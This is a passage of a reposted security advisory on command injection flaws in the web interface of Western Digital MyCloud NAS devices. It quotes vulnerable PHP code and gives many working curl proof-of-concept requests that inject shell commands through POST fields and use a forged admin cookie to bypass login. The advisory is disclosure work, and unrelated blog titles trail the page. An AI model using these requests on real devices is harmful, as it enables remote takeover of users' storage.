On lines 293 and 294, the "taskname" and "restore_source" posted variables are moved into local variables "$taskname" and "$restore_source". Then, on line 301, the value from the "$taskname" variable is inserted into the end of a filename prior to the extension (ex: "/tmp/r_internal!_restore_imcremental_%s.xml"). This filename is then inserted into a command for the "internal_backup" binary on lines 303 and lines 305 along with the original "$taskname" variable from which the filename is derived. The "restore_source" posted value is also inserted into the command created on line 305. These commands are stored in the local variable "$cmd", and are then executed through the use of a PHP "popen()" call on line 306. Both $taskname and $restore_source are used without any sanitization allowing for command injection.
In the above there is also a call to the "stop_job" function with the "$taskname" variable (line 296) allowing for command injection in a path identical to the "create", "modify", and "del" "stop_job()" paths mentioned above.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=go_restore&taskname=';touch%20/tmp/a60;'&restore_source=a" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=go_restore&taskname=a&restore_source=%24(touch%20/tmp/a61)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/backups/elephant_drive.php
Two remote command execution vulnerabilities exists in the "elephant_drive" functionality of the MyCloud web interface
Remote Command Execution
backups/elephant_drive.php
15 $action = $_POST['attion'];
16 $_email = $_POST['e_email'];
17 $_password = $_POST['e_password'];
...
199 case "apply":
200 {
201 $r->errcode = ERR_NONE;
202
203 $enable = $_POST['e_enable'];
204
205 //save to config
206 delfile($config_NAS_path);
207 $fp = fopen($config_NAS_path, 'x');
208 $_content = sprintf($config_NAS_xml, $enable, $_email, $_password);
209 fwrite($fp, $_content);
210 fclose($fp);
211
212 //Save NAS elephant conf to mtd
213 $cmd = sprintf("access_mtd \"cp -f %s /usr/local/config\"", $config_NAS_path);
214 pclose(popen($cmd, 'r'));
215
216 if ($enable == "1")
217 {
218 $ret = check_account($toURL, $check_agg);
219 if ($ret == ERR_NONE) //The email not used
220 {
221 $r->errcode = ERROR_VAULT_LOGIN_USER_NOT_FOUND;
222 }
223
224 //write etc config
225 delfile($config_etc_path);
226 $fp = fopen($config_etc_path, 'x');
227 $_content = sprintf($config_etc_xml, $_email, exec("elephant_drive -p '" . $_password . "'"));
228 fwrite($fp, $_content);
229 fclose($fp);
On lines 15-17, the posted variables for "attion", "e_email", and "e_password" are stored into local variables "$action", "$_email", and "$_password". Then, when the "$action" variable is set to "apply", the "apply" case is used which begins on line 201. When this path is taken, the vulnerability is triggered when the variable "$_password" is appended as an argument (Ln. 227) to the "$cmd" variable in a command which executes the "elephant_drive" binary with a PHP "exec()" function call. The "$_password" value is user supplied and used without any sanitization allowing for command injection.
POC
curl -i "http://<IP>/web/backups/elephant_drive.php" --data "attion=apply&e_enable=1&e_email=a&e_password=';touch%20/tmp/a62;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
backups/elephant_drive.php
15 $action = $_POST['attion'];
16 $_email = $_POST['e_email'];
17 $_password = $_POST['e_password'];
...
175 case "create":
176 {
177 $ret = check_account($toURL, $check_agg);
178 if ($ret == ERR_NONE) //The email not used
179 {
180 $reg_agg['t'] = exec("elephant_drive -p " . $_password); //get hash password
181 $ret = create_account($toURL, $reg_agg);
182 $r->errcode = $ret;
183
184 if ($ret == ERR_NONE)
185 $r->success = true;
186 else
187 $r->success = false;
188 }
189 else
190 {
191 $r->errcode = $ret;
192 $r->success = false;
193 }
194
195 echo json_encode($r);
196 }
197 break;
On lines 15-17, the posted variables for "attion", "e_email", and "e_password" are stored into local variables "$action", "$_email", and "$_password". Then, when "$action" is set to "create", the "create" case is used which begins on line 175. Then on line 180, an "exec()" call is made with the contents executing the "elephant_drive" binary with the "-p" argument and the local variable "$_password". Because $_password is user supplied and not sanitized, this allows for command injection.
POC
curl -i "http://<IP>/web/backups/elephant_drive.php" --data "attion=create&e_email=abc@a.com&e_password=%24(touch%20/tmp/a63)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/addons/safepoints_api.php
Six remote command execution vulnerabilities exists in the "safepoints_api" functionality of the MyCloud web interface
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action'];
22 if ($action == "") $action = $_GET['action'];
..
65 case "usb_get_safepoints":
66 {
67 $sp_path = $_POST['sp_path'];
68
69 $cmd = "killall -SIGKILL discover_dev";
70 pclose(popen($cmd, 'r'));
71
72 @unlink(SAFEPOINTS_LIST);
73 $cmd = sprintf("discover_dev -l usb -n '%s'", $sp_path);
74 pclose(popen($cmd, 'r'));
75
76 $r = get_safepoint_list();
77 $r->success = true;
78 echo json_encode($r);
79 }
80 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "usb_get_safepoints" the code path starting at line 65 is followed. In this segment the vulnerable code begins on line 67 where the posted variable "sp_path" is stored as the local variable "$sp_path". Then, on line 73 the "$sp_path" variable is used as an argument for the "discover_dev" binary and are stored within the "$cmd" variable. On the following line, the command within the "$cmd" variable is executed through the use of a PHP "popen()" call. This is all performed without any sanitization on the user supplied data allowing for command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_get_safepoints&sp_path=';touch%20/tmp/a64;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action'];
22 if ($action == "") $action = $_GET['action'];
..
82 case "usb_do_recover":
83 {
84 $_path = $_POST['path'];
85 $usb_sharename = $_POST['usb_sharename'];
86 $sp_name = $_POST['sp_name'];
87 $hotname = str_replace("\n", "", file_get_contents('/etc/hostname'));
88
89 @unlink(SAFEPOINTS_RESTORE);
90 $cmd = sprintf("sprb -r '%s' -s '%s' -n '%s' -m '%s' &", $_path, $usb_sharename, $sp_name, $hotname);
91 pclose(popen($cmd, 'r'));
92
93 $r->success = true;
94 //$r->cmd = $cmd;
95 echo json_encode($r);
96 }
97 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "usb_do_recover" the code path starting at line 82 is followed. In this segment, the vulnerable code begins on lines 84-86 where the posted variables for "usb_sharename", "sp_name" and "path" are stored in local variables "$usb_sharename", "$sp_name", and "$_path". These 3 variables are then all used as arguments for the "sprb" binary in a command created and are then stored in the "$cmd" variable (Ln. 90). Following the command being created, on line 91 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. This is all done without sanitization on any of the user supplied input allowing for command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_do_recover&sp_name=&path=';touch%20/tmp/a65;'&usb_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_do_recover&sp_name=&path=&usb_sharename=';touch%20/tmp/a66;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=usb_do_recover&sp_name=';touch%20/tmp/a67;'&path=&usb_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action'];
22 if ($action == "") $action = $_GET['action'];
..
177 case "network_get_sharefolder":
178 {
179 $r->status = -1;
180 $cnt = 0;
181
182 $ip = $_POST['ip'];
183 $user = $_POST['user'];
184 $pwd = $_POST['pwd'];
185
186 $cmd = "killall -SIGKILL discover_dev";
187 pclose(popen($cmd, 'r'));
188
189 $_filename = sprintf(SAFEPOINTS_SHARE_LIST, $ip);
190 @unlink($_filename);
191 $cmd = sprintf("discover_dev -q %s -u '%s' -p '%s'", $ip, $user, $pwd);
192 pclose(popen($cmd, 'r'));
193
194 if (file_exists($_filename))
195 {
196 $xml = simplexml_load_file($_filename);
197
198 foreach ($xml->NAS_share as $item)
199 {
200 $r->lists[] = array(
201 'name' => (string)$item->name,
202 'public' => ((string)$item->public == "true") ? true : false,
203 'user' => '',
204 'pwd' => ''
205 );
206 $cnt++;
207 }
208 $r->total = $cnt;
209 $r->status = (string)$xml->login_status;
210 @unlink($_filename);
211 }
212
213 $r->success = true;
214 echo json_encode($r);
215 }
216 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_get_sharefolder" the code path starting at line 177 is followed. In this segment, the vulnerable code begins on lines 182-184 where the posted variables for "ip", "user" and "pwd" are stored in local variables "$ip", "$user", and "$pwd". Then, on line 191, the three variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Then, on line 192 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within allowing for command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_sharefolder&user=';touch%20/tmp/a68;'&ip=&pwd=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_sharefolder&user=&ip=&pwd=';touch%20/tmp/a69;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_sharefolder&user=&ip=%24(touch%20/tmp/a70)&pwd=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action'];
22 if ($action == "") $action = $_GET['action'];
..
218 case "network_share_auth":
219 {
220 $r->success = false;
221
222 $ip = $_POST['ip'];
223 $username = $_POST['username'];
224 $password = $_POST['password'];
225 $sharename = $_POST['sharename'];
226
227 @unlink(SAFEPOINTS_LIST);
228 $cmd = sprintf("discover_dev -l network -i '%s' -n '%s' -u '%s' -p '%s'", $ip, $sharename, $username, $password);
229 pclose(popen($cmd, 'r'));
230
231 if (file_exists(SAFEPOINTS_LIST))
232 {
233 $xml = simplexml_load_file(SAFEPOINTS_LIST);
234 $r->status = (string)$xml->status;
235 $r->success = true;
236 }
237
238 //$r->cmd = $cmd;
239 echo json_encode($r);
240 }
241 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_share_auth" the code path starting at line 218 is followed. In this segment the vulnerable code begins on lines 222-225 where the posted variables for "ip", "username", "password", and "sharename" are stored in local variables "$ip", "$username", "$password", and "$sharename". Then on line 228, the four variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Following, on line 229 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within allowing for arbitrary command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=';touch%20/tmp/a71;'&password=&ip=&sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=&password=';touch%20/tmp/a72;'&ip=&sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=&password=&ip=';touch%20/tmp/a73;'&sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_share_auth&username=&password=&ip=&sharename=';touch%20/tmp/a74;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action'];
22 if ($action == "") $action = $_GET['action'];
..
243 case "network_get_safepoints":
244 {
245 $ip = $_POST['ip'];
246 $username = $_POST['username'];
247 $password = $_POST['password'];
248 $sp_sharename = $_POST['sp_sharename'];
249
250 $cmd = "killall -SIGKILL discover_dev";
251 pclose(popen($cmd, 'r'));
252
253 @unlink(SAFEPOINTS_LIST);
254 $cmd = sprintf("discover_dev -l network -i '%s' -n '%s' -u '%s' -p '%s'", $ip, $sp_sharename, $username, $password);
255 pclose(popen($cmd, 'r'));
256
257 $r = get_safepoint_list();
258 $r->success = true;
259 echo json_encode($r);
260 }
261 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_get_safepoints" the code path starting at line 243 is followed. In this segment the vulnerable code begins on lines 245-248 where the posted variables for "ip", "username", "password", and "sp_sharename" are stored in local variables "$ip", "$username", "$password", and "$sp_sharename". Then, on line 254, the four variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Following, on line 255 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within, allowing for arbitrary command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=&password=&ip=&sp_sharename=';touch%20/tmp/a75;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=&password=&ip=';touch%20/tmp/a76;'&sp_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=&password=';touch%20/tmp/a77;'&ip=&sp_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_get_safepoints&username=';touch%20/tmp/a78;'&password=&ip=&sp_sharename=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
addons/safepoints_api.php
21 $action = $_POST['action'];
22 if ($action == "") $action = $_GET['action'];
..
263 case "network_do_recover":
264 {
265 $ip = $_POST['ip'];
266 $share_name = $_POST['share_name'];
267 $username = $_POST['username'];
268 $password = $_POST['password'];
269 $sp_name = $_POST['sp_name'];
270 $hostname = $_POST['hostname'];
271
272 @unlink(SAFEPOINTS_PASSWORD);
273 file_put_contents(SAFEPOINTS_PASSWORD, $password);
274
275 @unlink(SAFEPOINTS_RESTORE);
276 $cmd = sprintf("sprb -i %s -s '%s' -u '%s' -p '%s' -n '%s' -m '%s' &", $ip, $share_name, $username, SAFEPOINTS_PASSWORD, $sp_name, $hostname);
277 pclose(popen($cmd, 'r'));
278
279 $r->success = true;
280 //$r->cmd = $cmd;
281 echo json_encode($r);
282 }
283 break;
On line 21, the posted variable "action" is stored into the local variable "$action". Then, when the "$action" variable is set to "network_do_recover" the code path starting at line 263 is followed. In this segment the vulnerable code begins on lines 265-270 where the posted variables for "ip", "share_name", "username", "sp_name", and "hostname" are stored in local variables "$ip", "$share_name", "$username", "$sp_name", and "$hostname". Then, on line 276, the five variables are inserted within the proper syntax as arguments for the "discover_dev" binary and are stored in the "$cmd" variable. Following, on line 277 the PHP "popen()" function is called with "$cmd" as an argument executing the command within. All of the above is accomplished without ever sanitizing any of the user input within allowing for arbitrary command injection.
POC
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=';touch%20/tmp/a79;'&password=&ip=&sp_name=&hostname=&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=%24(touch%20/tmp/a80)&sp_name=&hostname=&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=&sp_name=&hostname=&share_name=';touch%20/tmp/a81;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=&sp_name=';touch%20/tmp/a82;'&hostname=&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
OR
curl -i "http://<IP>/web/addons/safepoints_api.php" --data "action=network_do_recover&username=&password=&ip=&sp_name=&hostname=';touch%20/tmp/a83;'&share_name=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
转:西部数据NAS设备hack的更多相关文章
- 在NAS设备上用NFS服务为RAC数据库和集群件存储oracle文件时的mount选项
今天在家折腾自己的小实验室,把自己NAS上的一个目录用NFS挂载到一套11g RAC的实验环境中. 当我在备份数据库到NAS上时,发现一个奇怪的问题,同样的目录下,默认backup 备份集的情况,备份 ...
- NAS设备是什么
1.NAS含义: NAS(Network Attached Storage)网络存储基于标准网络协议实现数据传输,为网络中的Windows / Linux / Mac OS 等各种不同操作系统的计算机 ...
- [转]将西部数据 My Passport Wireless 移动存储连接到任何支持的云存储上
原文标题:对西部数据 My Passport Wireless 移动存储进行 Linux 魔改 原文链接:https://linux.cn/article-8246-1.html 虽然 WD My P ...
- 再战希捷:西部数据透露96层闪存已用于消费级SSD
导读 96层堆叠3D NAND闪存已经成为行业主流,包括西部数据这样的传统机械硬盘大厂,也在逐步普及96层闪存,并已经用于消费级SSD. 96层堆叠3D NAND闪存已经成为行业主流,包括西部数据这样 ...
- [转帖西部数据的Zonefs将会登陆Linux 5.6内核]
西部数据的Zonefs将会登陆Linux 5.6内核 https://www.cnbeta.com/articles/tech/948875.htm 据说SMR 能够提高25%的存储密度 但是会造成严 ...
- 字符设备驱动1:新的方式添加cdev + 在open函数中将文件私有数据指向设备结构体
本例中,驱动入口处,使用cdev_add添加驱动,这点也可与字符设备驱动0:一个简单但完整的字符设备驱动程序对比一下. 另外主要讲xx_open实现文件私有数据指向设备结构体. 引子: 偶然看到,在j ...
- Wd 西部数据
西部数据 https://item.jd.com/3564471.html#none 打算买一个大硬盘记录代码片段.开发项目.开发工具.电影游戏等…… /** * 获取100天后的日子 * 用来做计划 ...
- NAS设备部署后采用Mobox企业云盘来提升管理功能
首先NAS介绍 网络接入存储(Network-Attached Storage,简称NAS)是存储设备通过标准的网络拓扑结构(例如以太网)添加到一群计算机上.NAS是文件级的存储方法,它的重 ...
- [故障处理]西部数据wd elements xp 无法识别
百度后,看到如下帖子,供需要的朋友参考,黑体字为本人修改添加: http://blog.sina.com.cn/s/blog_539747670102w62w.html 经咨询WD厂商(厂商电话800 ...
随机推荐
- 关于jmf不能播放mp3的问题解决
想写个JAVA的MP3音乐管理器,使用JMF插件,但发现运行时总报一个异常: Unable to handle format: mpeglayer3, 44100.0 Hz, 16-bit, Ster ...
- javascript 访问cookie信息
在Javascript脚本里,一个cookie 实际就是一个字符串属性.当你读取cookie的值时,就得到一个字符串,里面当前WEB页使用的所有cookies的名称和值.每个cookie除了 name ...
- 【51NOD-0】1118 机器人走方格
[算法]DP #include<cstdio> #include<algorithm> using namespace std; ,maxn=; int f[maxn][max ...
- 微软Azure DevOps 使用docker 持续集成 dotnet
azure 环境设置 登录azure 地址 https://dev.azure.com/ 使用微软账号就可以进行登录. 点击右上角新建项目 项目信息,尽量用小写 创建项目 修改默认的dockerfil ...
- node.js 开发命令行工具 发布npm包
新建一个文件夹“nodecmd”: 在nodecmd下新建文件夹bin: 在bin文件夹下新建JavaScript文件hello.js #!/usr/bin/env node console.log( ...
- Shell脚本 - nginx启动脚本
OS:CentOS/Redhat 系列 并在 Centos 6.7 和 Centos 7.2 上测试正常 #!/bin/bash # # auth: daxin # time: 2018/07/10 ...
- linux===给新手的 10 个有用 Linux 命令行技巧(转)
本文转自:http://www.codeceo.com/article/10-linux-useful-command.html?ref=myread 仅用作学习交流使用.如有侵权,立删 我记得我第一 ...
- Bookmarks_www2
Bookmarks Bookmarks alexis- (Alex Incogito) - Repositories · GitHub GitHub - aetcnc-Arduino_DeltaHMI ...
- C#取出字符串中的数字或字母
string str20 = "ABC123"; string strSplit1,strSplit2; //取出字符串中所有的英文字母 strSplit1 = Regex.Rep ...
- JMX monitor weblogic 总结
https://blog.csdn.net/joy_91/article/details/42774839